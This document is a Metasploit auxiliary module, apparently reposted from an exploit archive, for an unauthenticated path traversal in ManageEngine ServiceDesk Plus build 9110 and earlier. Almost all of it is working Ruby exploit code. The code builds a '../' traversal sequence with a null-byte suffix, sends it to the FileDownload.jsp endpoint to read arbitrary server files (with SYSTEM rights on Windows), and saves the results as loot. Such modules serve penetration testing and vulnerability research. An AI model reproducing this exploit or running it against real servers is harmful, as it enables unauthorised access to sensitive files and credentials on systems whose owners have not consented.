Exploit for ManageEngine ServiceDesk Plus Path Traversal

## https://sploitus.com/exploit?id=PACKETSTORM:181157
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ManageEngine ServiceDesk Plus Path Traversal",  
'Description' => %q{  
This module exploits an unauthenticated path traversal vulnerability found in ManageEngine  
ServiceDesk Plus build 9110 and lower. The module will retrieve any file on the filesystem  
with the same privileges as Support Center Plus is running. On Windows, files can be retrieved  
with SYSTEM privileges. The issue has been resolved in ServiceDesk Plus build 91111 (issue SD-60283).  
},  
'License' => MSF_LICENSE,  
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module  
'References' =>  
[  
['URL', 'https://www.manageengine.com/products/service-desk/readme-9.1.html'],  
],  
'DisclosureDate' => '2015-10-03'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),  
OptString.new('TARGETURI', [true, 'The base path to the ServiceDesk Plus installation', '/']),  
OptString.new('FILE', [true, 'The file to retrieve', '/windows/win.ini'])  
])  
end  
  
def run_host(ip)  
uri = target_uri.path  
traversal = "../" * datastore['DEPTH']  
filename = datastore['FILE']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
vprint_status("Retrieving file #{datastore['FILE']}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),  
'vars_get' =>  
{  
'module' => 'support',  
'fName' => "#{traversal}#{filename}\x00",  
}  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have retrieved the file either. Print the status code for debugging purposes.  
# The "The File was not found" string is returned on a vulnerable environment but the file is not found.  
# The "Loding domain list To login AD authentication or local Authentication" string is returned in the response on a fixed version (build 9111)  
if res && res.code == 200  
if res.body =~ /The File was not found/  
vprint_error("Vulnerable server, but the file does not exist!")  
elsif res.body =~ /Loding domain list To login AD authentication or local Authentication/  
vprint_error("The installed version of ManageEngine ServiceDesk Plus is not vulnerable!")  
else  
p = store_loot(  
'manageengine.servicedeskplus',  
'application/octet-stream',  
ip,  
res.body,  
filename  
)  
print_good("File saved in: #{p}")  
end  
else  
vprint_error("Connection timed out")  
end  
end  
end